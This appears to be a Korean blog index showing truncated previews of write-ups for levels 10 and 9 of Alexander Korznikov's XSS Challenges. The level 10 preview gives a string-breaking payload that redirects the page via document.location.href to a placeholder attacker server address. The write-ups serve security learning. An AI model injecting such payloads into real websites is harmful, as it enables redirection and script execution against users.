XSS Challenges 10

level 10๋‹จ๊ณ„๋ฅผ ์ง„ํ–‰ํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค. ํ‘œ๋ฉด์ƒ ๋ณด์ด๋Š” ํ™”๋ฉด์€ ์ด์ „๊ณผ ์œ ์‚ฌํ•œ ๋ชจ์Šต์„ ๋„์šฐ๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. ๋‚ด๋ถ€ ์ฝ”๋“œ๋ฅผ ๋จผ์ € ์‚ดํŽด๋ณด๋„๋ก ํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค. 10๋‹จ๊ณ„์—์„œ๋Š” a์™€ b๋ผ๋Š” ๋ณ€์ˆ˜์™€ ๊ฐ’์ด ์„ ์–ธ๋˜์–ด ์žˆ๋Š” ์ƒํƒœ์ž…๋‹ˆ๋‹ค. ์šฐ๋ฆฌ๊ฐ€ ์ž…๋ ฅํ•  Payload๋Š” "a" ๋ณ€์ˆ˜์— ๋‹ด๊ธฐ๋„๋ก ๋˜์–ด์žˆ๋Š”๋ฐ document.write ์†์„ฑ์„ ํ†ตํ•ด ๊ฐ’์ด ์‹คํ–‰๋˜๋Š” ๊ฒƒ์„ ๋ณด์‹ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. document.write()์˜ ๊ธฐ๋Šฅ์€ Document Object์˜ ํ•จ์ˆ˜๋กœ ์ธ์ˆ˜ ๊ฐ’์„ ์›น ๋ธŒ๋Ÿฌ์šฐ์ € ํ™”๋ฉด์— ํ…์ŠคํŠธ ํ˜•์‹์œผ๋กœ ์ถœ๋ ฅํ•ด์ฃผ๋Š” ๊ธฐ๋Šฅ์„ ๊ฐ€์ง€๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. ';{document.location.href="http://IP"}// 9๋‹จ๊ณ„์—์„œ ์ง„ํ–‰ํ•œ ๋ฐฉ๋ฒ•๋Œ€๋กœ a๋ณ€์ˆ˜๋ฅผ ๋‹ซ์•„ ๋งˆ๋ฌด๋ฆฌ(;)ํ•ด์ฃผ๊ณ  ๊ณต๊ฒฉ์ž ์„œ๋ฒ„๋ฅผ ๋กœ๋“œ์‹œ์ผœ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‹คํ–‰๋˜๋„๋ก ํ•ด์ฃผ๋ฉด ๋  ๊ฒƒ ๊ฐ™์Šต๋‹ˆ๋‹ค. ๋’ค..

CHALLENGE
XSS Challenges 9

ํ•œ๋™์•ˆ ์˜ฌ๋ฆฌ์ง€ ๋ชปํ–ˆ๋˜ XSS ์ฑŒ๋ฆฐ์ง€๋ฅผ ์˜ค๋žœ๋งŒ์— ๋‹ค์‹œ ํ’€๊ฒŒ ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์ œ๊ฐ€ ์žฌ๋ฏธ์žˆ๊ฒŒ ํ’€๊ณ  ์žˆ๋Š” Alexander Korznikov์˜ XSS ์ฑŒ๋ฆฐ์ง€์˜ ์žฅ์ ์€ ๊ธฐ์กด์˜ XSS ๊ฒŒ์ž„๊ณผ๋Š” ๋‹ค๋ฅด๊ฒŒ ํŒŒํšŒ ๋ฒ•์„ ์˜ฌ๋ฆฐ ์‚ฌ๋žŒ๋“ค์ด ๋งŽ์ด ์—†์œผ๋ฉฐ(๊ตญ๋‚ด์—์„œ๋Š” ๋ณธ ์ ์ด ์—†๋„ค์š”..) ์ถœ์ œ์ž์˜ ์˜๋„๋ฅผ ์•Œ์•„์„œ ํŒŒ์•…ํ•˜๊ณ  ์ผ๋ง์˜ ํžŒํŠธ ์—†์ด ๊ณต๋žต ํ•œ๋‹ค๋Š” ์ ์—์„œ ๋”์šฑ ์• ์ฐฉ์ด ๊ฐ€๊ณ  ๋ชฐ์ž…์ด ๋˜๋Š” ๊ฑฐ ๊ฐ™์Šต๋‹ˆ๋‹ค. ๊ณต๋žต ํŽ˜์ด์ง€๋Š” ๊ต‰์žฅํžˆ ์‹ฌํ”Œํ•ฉ๋‹ˆ๋‹ค. Reflected ๋ฐฉ์‹์œผ๋กœ ํŒŒ๋ผ๋ฏธํ„ฐ์— ์ ์ ˆํ•œ Payload๊ฐ€ ์‚ฝ์ž…๋  ๊ฒฝ์šฐ ๋‹ค์ด์–ผ๋กœ๊ทธ ํŒ์—…์ฐฝ์„ ๋„์šฐ์‹ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด์ „ ๋‹จ๊ณ„(8-1) ์˜ ์†Œ์Šค์™€ ์œ ์‚ฌํ•œ ํ˜•ํƒœ์˜ ์ฝ”๋“œ๋ฅผ ๊ฐ€์ง€๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. b๋ผ๋Š” ๋ณ€์ˆ˜์—๋Š” "1"์ด ์„ ์–ธ๋˜์–ด ์žˆ๊ณ  if ์กฐ๊ฑด๋ฌธ์„ ํ†ตํ•ด ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‹คํ–‰๋  ์ˆ˜ ์žˆ๋„๋ก ๊ตฌ๋ฌธ์„ ์™„์„ฑ์‹œ์ผœ์•ผ ๋ฉ๋‹ˆ๋‹ค. b์˜ ๋ณ€์ˆ˜..

CHALLENGE